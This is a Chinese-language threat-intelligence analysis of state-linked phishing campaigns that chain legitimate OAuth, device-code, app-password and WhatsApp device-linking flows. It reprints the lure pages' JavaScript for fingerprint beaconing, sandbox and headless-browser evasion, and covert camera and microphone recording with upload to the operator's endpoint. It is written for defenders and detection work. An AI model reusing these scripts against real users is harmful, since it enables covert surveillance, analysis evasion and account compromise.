別再只看登入日誌了!
摘要
報告從濫用 Authentication Workflow 的技術角度,分析三個疑似與國家相關的 Threat cluster。核心發現是,這些攻擊活動並不依賴單一的 Credential-harvesting page,而是將合法的 app-password、OAuth、device-code、device-linking、cloud-project 與 browser-media 功能組合成具適應性的入侵鏈。主要文章說明,這種組合讓偵測重點從「登入頁面是不是假的?」轉變為「哪些合法的 authorization、device 與 browser capabilities 正被編排、由誰編排,以及在 Authentication 後要執行什麼動作?」 [1]
1. 範圍與研究問題
研究問題是:觀察到的 Threat cluster 如何將受信任的 Authentication 功能轉換為可控制的 Access path,以及哪些 telemetry 可以區分合法使用與惡意編排?分析範圍限於主要文章中的觀察結果及其公開的程式碼。僅使用簡短的標準比較來定義正常的 device authorization model。 [2]
在這些案例中,最初的誘餌具有高度社交針對性,而技術目標則一致:讓使用者完成真實或看似真實的 authorization transaction,使其產生的 secret、Token、linked device 或 browser permission 能被操作者再次使用。這與傳統的 password clone 有實質差異,因為使用者看到的可能是真正的 provider login、真正的 QR/linking code,或確實運作的 browser prompt。
2. 可組合的 Authentication Attack Surface
UNC6293 展示了從 app-password collection 移轉至 OAuth verification-code collection。UNC7005 則進一步擴大 Attack Surface,加入 Microsoft device-code phishing、WhatsApp device linking、OS-specific infostealer delivery、cloud OAuth 與 captive-portal redirection。UNC5976 使用假的 file-sharing front end、合法的 OAuth login,以及在 redirection 後取得 Token 的 cloud project。這些是不同的實作方式,但共享相同的設計模式:誘餌控制使用者的操作流程,而 identity provider 則執行看似有效的 security transaction。 [1]
| Workflow component | 操作者目標 | 高價值防禦訊號 |
|---|---|---|
| App password | 取得可重複使用的 Credential,避開正常的第二因素互動。 | 非預期的建立、命名或後續使用 legacy app passwords。 |
| OAuth redirect | 誘導使用者進行真正的 login,並在 redirect 後取得 Token 或 authorization result。 | 異常的 consent、redirect、project、scope 或 login 後目的地。 |
| Device code 或 QR link | 將受害者的 account 綁定至由操作者控制的 client 或 device。 | 新的 linked device、異常 client、code mismatch 或遠端 approval 環境。 |
| Browser capability | 收集 system fingerprints、Credential、cookies、audio 或 video。 | 非預期的 camera/microphone grants、recording APIs、beacon paths 與 browser-data access。 |
這張表顯示出一種 control-plane model。單獨依靠 identity logs 並不足夠,因為成功事件可能在 cryptographic 上完全有效。Correlation 必須將 identity-provider events 與 web telemetry、device inventory、browser permission changes、cloud-project metadata 以及 linked-device state 串接起來。
3. Device Authorization:合法 Protocol 與遠端 Phishing 風險
RFC 8628 定義了供輸入能力有限或沒有適用 browser 的 client 使用的 device authorization。Client 會取得 device code、user code 與 verification URI;使用者在第二台 device 上核准 request;Client 持續 Polling,直到收到 access Token。 [2] 這種分離方式雖然提升了使用便利性,也產生遠端 Phishing 條件:操作者可以啟動 client-side transaction,並誘導目標核准該 transaction。主要文章中的 Microsoft 與 WhatsApp 案例利用的正是這種語意上的落差,而非 cryptographic break。
這個 sequence 將關鍵邊界分離出來:identity provider 可以驗證使用者,但不一定會驗證啟動 transaction 的 client 之意圖、所有權或可信度。因此 RFC 8628 建議告知使用者,他們正在授權一台 device,並確認該 device 在自己手上。 [2] 在實際運作中,防禦者應將遠端 approval、code presentation 與 linked-device changes 視為 security events,而不是一般的 sign-ins。
4. 程式碼分析:Target Selection 與 Analysis Evasion
主要文章公開了兩個 scripts,顯示誘餌頁面是主動的 decision engine,而非靜態表單。第一個 script 會在使用者進入 authorization step 前收集精簡的環境 profile。
- (function(){
- var fp = {
- tid: "3311a310cd4f40d4",
- sw: screen.width,
- sh: screen.height,
- tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
- lang: navigator.language,
- plat: navigator.platform,
- cores: navigator.hardwareConcurrency || null,
- mem: navigator.deviceMemory || null,
- touch: navigator.maxTouchPoints || 0,
- };
- fetch('/fingerprint', {
- method: 'POST',
- headers: {'Content-Type': 'application/json'},
- body: JSON.stringify(fp),
- keepalive: true,
- }).catch(function(){});
- })();
| Code element | 技術解讀 |
|---|---|
screen.width
、
screen.height
|
建立顯示幾何特徵,可用來區分一般使用者與 automated scanning environments。 |
timeZone
、
language
、
platform
|
建立粗略的 location、locale 與 operating-platform consistency check,而不要求 Credential。 |
hardwareConcurrency
、
deviceMemory
、
maxTouchPoints
|
加入硬體與互動訊號,可用於決定 Session 優先級或拒絕 Session。 |
fetch('/fingerprint')
|
非同步傳送 profile;
keepalive
增加 beacon 在頁面轉換後仍能送出的機率。
|
第二個 script 更直接地進行 Evasion。它會測試
navigator.webdriver
、缺少的 languages、Chrome runtime object,以及 notification-permission behavior。如果某個 heuristic 被觸發,它會清除 document 並停止載入。這會破壞分析人員的觀察面,同時讓同一個誘餌對一般 browser 維持正常運作。因此,有效的偵測策略應記錄早期 script execution 與 fingerprint endpoint,而不只是最後的 OAuth request。
- (function(){
- var h = false;
- try {
- // webdriver flag — set by ChromeDriver, Puppeteer, Selenium
- if (navigator.webdriver) h = true;
- // Headless Chrome has no plugins at all
- // Headless Chrome / PhantomJS often have no languages
- if (!h && (!navigator.languages || navigator.languages.length === 0)) h = true;
- // Chrome-specific runtime object absent in headless older builds
- if (!h && typeof window.chrome === 'undefined' &&
- /chrome/i.test(navigator.userAgent)) h = true;
- // Permission query behaves differently in headless
- if (!h && navigator.permissions) {
- navigator.permissions.query({name:'notifications'}).then(function(r){
- if (r.state === 'denied' && Notification.permission === 'default') {
- document.documentElement.innerHTML = '';
- window.stop();
- }
- }).catch(function(){});
- }
- } catch(e) { h = true; }
- if (h) { document.documentElement.innerHTML = ''; window.stop(); }
- })();
對於分析環境,這個 script 表示單一 browser fingerprint 並不可靠。資料收集應比較多個受控的 render profiles,並在 DOM 消失時仍保留 network metadata。對於正式環境防禦,相同的指標可以納入 risk score,但不應將任何單一指標視為獨立的判定依據,因為輔助工具與隱私設定也可能產生類似訊號。
5. Compromise 後的 Browser Media Capture
以 WhatsApp 為主題的流程說明了 account linking 為何只是中間目標。完成 linking 後,頁面會顯示假的 call,並要求 camera 與 microphone access。公開的程式碼使用
getUserMedia
取得 stream,在支援時選擇 WebM,每秒記錄一個 chunk,接著將 blob 上傳至與 Session 對應的 endpoint。
- function startMediaRecording() {
- if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
- return Promise.resolve();
- }
- return navigator.mediaDevices.getUserMedia({ video: true, audio: true })
- .then(function(stream) {
- mediaStream = stream;
- var selfVideo = document.getElementById('self-video');
- var selfView = document.getElementById('self-view');
- if (selfVideo && selfView) {
- selfVideo.srcObject = stream;
- selfView.style.display = '';
- }
- recordedChunks = [];
- var options = { mimeType: 'video/webm;codecs=vp8,opus' };
- if (!MediaRecorder.isTypeSupported(options.mimeType)) {
- options = { mimeType: 'video/webm' };
- if (!MediaRecorder.isTypeSupported(options.mimeType)) {
- options = {};
- }
- }
- mediaRecorder = new MediaRecorder(stream, options);
- mediaRecorder.ondataavailable = function(e) {
- if (e.data && e.data.size > 0) recordedChunks.push(e.data);
- };
- mediaRecorder.start(1000);
- })
- .catch(function() {});
- }
- function uploadRecording() {
- if (mediaStream) {
- mediaStream.getTracks().forEach(function(t) { t.stop(); });
- mediaStream = null;
- }
- if (!recordedChunks.length) return;
- var blob = new Blob(recordedChunks, { type: recordedChunks[0].type || 'video/webm' });
- recordedChunks = [];
- var formData = new FormData();
- formData.append('recording', blob, 'recording_' + sessionId + '.webm');
- fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData })
- .then(function(r) { if (!r.ok) throw new Error('Upload failed'); })
- .catch(function() {
- return fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData });
- })
- .then(function(r) { if (r && !r.ok) throw new Error('Upload failed'); })
- .catch(function() {});
- }
這段程式碼建立出具有辨識性的 telemetry chain:permission prompt、media stream、
MediaRecorder
、multipart upload,以及包含唯一 Session identifier 的 path。因此,Endpoint monitoring 應將 browser permission events 與短生命週期的 lure domains 及異常 upload routes 進行 correlation。靜默的 error handlers 也顯示出一種操作偏好:從受害者角度來看採取 failing closed 的方式;upload failure 不會產生任何可見的 diagnostic,因此不容易提醒使用者。
6. 防禦架構與影響
有效的防禦應圍繞 Workflow 建立分層機制,而不是以 URL reputation 為核心。首先,停用或嚴格控管 legacy app passwords,並針對其建立或使用發出警示。其次,在可行的情況下要求 phishing-resistant authentication,同時獨立監控 OAuth consent、redirect destinations、sensitive scopes、testing-mode projects 與 Token use。Google 文件指出,在 verification 前要求 sensitive 或 restricted scopes 時,可能會出現 unverified-app warnings,但 warning 是 control signal,不能取代使用者與管理員的驗證。 [3]
第三,將 device linking 視為具權限的 account change。強制 registration locks 與 two-factor authentication,稽核個人與企業帳號的 linked devices,並透過獨立的 channel 驗證 safety codes。第四,在 browser 與 Endpoint security controls 中針對可疑的
getUserMedia
、
MediaRecorder
、fingerprint beacons 與 browser-data extraction 建立監控。最後,保留跨層級的證據:lure URL、DNS 與 IP history、OAuth client/project identity、device state、browser permission event,以及 Authentication 後的 network path,應以同一個 investigation identifier 串接。
結論
主要文章最重要的技術教訓是,合法的 Authentication 不等於合法的 authorization intent。這些攻擊活動透過串接 identity、browser、messaging 與 cloud layers 中有效的 primitives 而成功。因此,偵測與遏制應建立完整的 transaction graph,驗證 device possession 與 client context,並將 login 後的行為視為 Authentication security 的一部分。